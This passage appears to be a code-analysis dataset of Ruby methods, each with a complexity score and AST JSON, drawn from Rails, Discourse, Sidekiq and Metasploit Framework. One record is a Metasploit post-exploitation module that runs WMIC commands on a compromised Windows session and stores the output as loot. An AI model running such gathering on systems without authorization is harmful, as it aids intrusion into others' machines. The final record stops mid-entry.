{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/behavior.rb","start_line":70,"raw_source":"def namespaces_to_paths(namespaces)\n            paths = []\n            namespaces.each do |namespace|\n              pieces = namespace.split(\":\")\n              path = pieces.join(\"/\")\n              paths << \"#{path}/#{pieces.last}\"\n              paths << path\n            end\n            paths.uniq!\n            paths\n          end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"namespaces_to_paths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespaces\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pieces\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pieces\"]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pieces\"]},\"last\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"uniq!\"]},{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}","id":"45db15db-848a-4c35-8d84-371760b39427"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_embedding.rb","start_line":6,"raw_source":"def visit\n        page.visit(\"/admin/customize/embedding\")\n        self\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/admin/customize/embedding\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"f5f876b9-30f0-442b-8d81-c1bf060256c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/stat.rb","start_line":37,"raw_source":"def self.calculate(stats)\n    stats.map { |stat| stat.calculate }.reduce(Hash.new, :merge)\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"calculate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stats\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"calculate\"]}]},\"reduce\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"sym\",\"children\":[\"merge\"]}]}]}","id":"fd6661b7-46c8-458e-8200-26381779333b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/scheduled_test.rb","start_line":108,"raw_source":"def with_sidekiq_option(name, value)\n      original, @config[name] = @config[name], value\n      begin\n        yield\n      ensure\n        @config[name] = original\n      end\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_sidekiq_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"original\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"original\"]}]}]}]}]}]}","id":"3f6d07b1-e1c0-4cd0-a34b-1e98870a1fa1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":260,"raw_source":"def append_tags\n    tags = @operation[:tags]\n    tags = DiscourseTagging.tags_for_saving(tags, guardian) if tags.present?\n\n    topics.each do |t|\n      if guardian.can_edit?(t)\n        DiscourseTagging.tag_topic_by_names(t, guardian, tags, append: true) if tags.present?\n        @changed_ids << t.id\n      end\n    end\n  end","complexity_score":22.6,"ast_json":"{\"type\":\"def\",\"children\":[\"append_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"tags_for_saving\",{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_edit?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"tag_topic_by_names\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"send\",\"children\":[null,\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"append\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"id\"]}]}]},null]}]}]}]}","id":"1aaabc4b-fe99-4fe6-b2b1-1020a29854c8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/direct_message_channel.rb","start_line":11,"raw_source":"def allowed_user_ids\n      direct_message.user_ids\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_user_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_message\"]},\"user_ids\"]}]}","id":"d93f709f-7ed8-49e9-a7b7-1c2b0930dc59"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20131210234530_rename_version_column.rb","start_line":4,"raw_source":"def change\n    add_column :posts, :version, :integer, default: 1, null: false\n    execute \"UPDATE posts SET version = cached_version\"\n    remove_column :posts, :cached_version\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE posts SET version = cached_version\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"sym\",\"children\":[\"cached_version\"]}]}]}]}","id":"ff331a50-b6d3-40eb-968c-6b0c5df8fe90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/wmic_command.rb","start_line":35,"raw_source":"def run\n    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']\n    print_status(\"Running module against #{hostname} (#{session.session_host})\")\n\n    resource_file = datastore['RESOURCE']\n    command = datastore['COMMAND']\n\n    if command.blank? && resource_file.blank?\n      fail_with(Failure::BadConfig, 'Please specify COMMAND or RESOURCE file.')\n    end\n\n    commands = []\n\n    if resource_file\n      fail_with(Failure::BadConfig, \"Resource file #{resource_file} does not exist!\") unless ::File.exist?(resource_file)\n\n      ::File.open(resource_file).each_line(chomp: true) do |cmd|\n        next if cmd.strip.empty?\n        next if cmd.starts_with?('#')\n\n        commands << cmd\n      end\n    else\n      commands << command\n    end\n\n    commands.each do |cmd|\n      next if cmd.strip.empty?\n\n      print_status(\"Running WMIC command: #{cmd}\")\n\n      result = wmic_query(cmd)\n\n      if result.blank?\n        print_error('No results for command')\n        next\n      end\n\n      vprint_line(result)\n\n      store_wmic_loot(result, cmd)\n    end\n  end","complexity_score":57.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hostname\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Computer\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running module against \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hostname\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"session_host\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RESOURCE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMMAND\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_file\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Please specify COMMAND or RESOURCE file.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"commands\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_file\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"resource_file\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Resource file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_file\"]}]},{\"type\":\"str\",\"children\":[\" does not exist!\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"resource_file\"]}]},\"each_line\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chomp\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"strip\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"command\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commands\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"strip\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Running WMIC command: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"wmic_query\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No results for command\"]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"send\",\"children\":[null,\"store_wmic_loot\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}","id":"e19209f3-b1ba-4cb3-b31b-746c473f3a8f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/request.rb","start_line":112,"raw_source":"def parse_args_http(args = [], _type = 'http')\n        opt_parser = Rex::Parser::Arguments.new(\n          '-0' => [ false, 'Use HTTP 1.0' ],\n          '-1' => [ false, 'Use TLSv1 (SSL)' ],\n          '-2' => [ false, 'Use SSLv2 (SSL)' ],\n          '-3' => [ false, 'Use SSLv3 (SSL)' ],\n          '-A' => [ true, 'User-Agent to send to server' ],\n          '-d' => [ true, 'HTTP POST data' ],\n          '-G' => [ false, 'Send the -d data with an HTTP GET' ],\n          '-h' => [ false, 'This help text' ],\n          '-H' => [ true, 'Custom header to pass to server' ],\n          '-i' => [ false, 'Include headers in the output' ],\n          '-I' => [ false, 'Show document info only' ],\n          '-o' => [ true, 'Write output to <file> instead of stdout' ],\n          '-u' => [ true, 'Server user and password' ],\n          '-X' => [ true, 'Request method to use' ]\n          # '-x' => [ true,  'Proxy to use, format: [proto://][user:pass@]host[:port]' +\n          #                 '  Proto defaults to http:// and port to 1080'],\n        )\n\n        options = {\n          headers: {},\n          print_body: true,\n          print_headers: false,\n          ssl_version: 'Auto',\n          user_agent: Rex::UserAgent.session_agent,\n          version: '1.1'\n        }\n\n        opt_parser.parse(args) do |opt, _idx, val|\n          case opt\n          when '-0'\n            options[:version] = '1.0'\n          when '-1'\n            options[:ssl_version] = 'TLS1'\n          when '-2'\n            options[:ssl_version] = 'SSL2'\n          when '-3'\n            options[:ssl_version] = 'SSL3'\n          when '-A'\n            options[:user_agent] = val\n          when '-d'\n            options[:data] = val\n            options[:method] ||= 'POST'\n          when '-G'\n            options[:method] = 'GET'\n          when HELP_REGEX\n            # help(opt_parser)\n            # guard to prevent further option processing & stymie request handling\n            return [nil, opt_parser]\n          when '-H'\n            name, value = val.split(':', 2)\n            options[:headers][name] = value.to_s.strip\n          when '-i'\n            options[:print_headers] = true\n          when '-I'\n            options[:print_headers] = true\n            options[:print_body] = false\n            options[:method] ||= 'HEAD'\n          when '-o'\n            options[:output_file] = File.expand_path(val)\n          when '-u'\n            val = val.split(':', 2) # only split on first ':' as per curl:\n            # from curl man page: \"The user name and passwords are split up on the\n            # first colon, which makes it impossible to use a colon in the user\n            # name with this option.  The password can, still.\n            options[:auth_username] = val.first\n            options[:auth_password] = val.last\n          when '-p'\n            options[:auth_password] = val\n          when '-X'\n            options[:method] = val\n            # when '-x'\n            # @TODO proxy\n          else\n            options[:uri] = val\n          end\n        end\n        unless options[:uri]\n          help(opt_parser)\n        end\n        options[:method] ||= 'GET'\n        options[:uri] = URI(options[:uri])\n        [options, opt_parser]\n      end","complexity_score":71.95,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_args_http\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"_type\",{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opt_parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-0\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use HTTP 1.0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-1\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use TLSv1 (SSL)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-2\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSLv2 (SSL)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-3\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use SSLv3 (SSL)\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-A\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User-Agent to send to server\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"HTTP POST data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-G\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Send the -d data with an HTTP GET\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"This help text\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-H\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Custom header to pass to server\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Include headers in the output\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-I\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Show document info only\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-o\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Write output to <file> instead of stdout\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-u\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Server user and password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-X\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Request method to use\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_body\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"print_headers\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"str\",\"children\":[\"Auto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"UserAgent\"]},\"session_agent\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt_parser\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.0\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"str\",\"children\":[\"TLS1\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"str\",\"children\":[\"SSL2\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssl_version\"]},{\"type\":\"str\",\"children\":[\"SSL3\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-A\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_agent\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-d\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-G\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HELP_REGEX\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opt_parser\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-H\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"headers\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"strip\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"print_headers\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-I\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"print_headers\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"print_body\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"HEAD\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-o\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"output_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\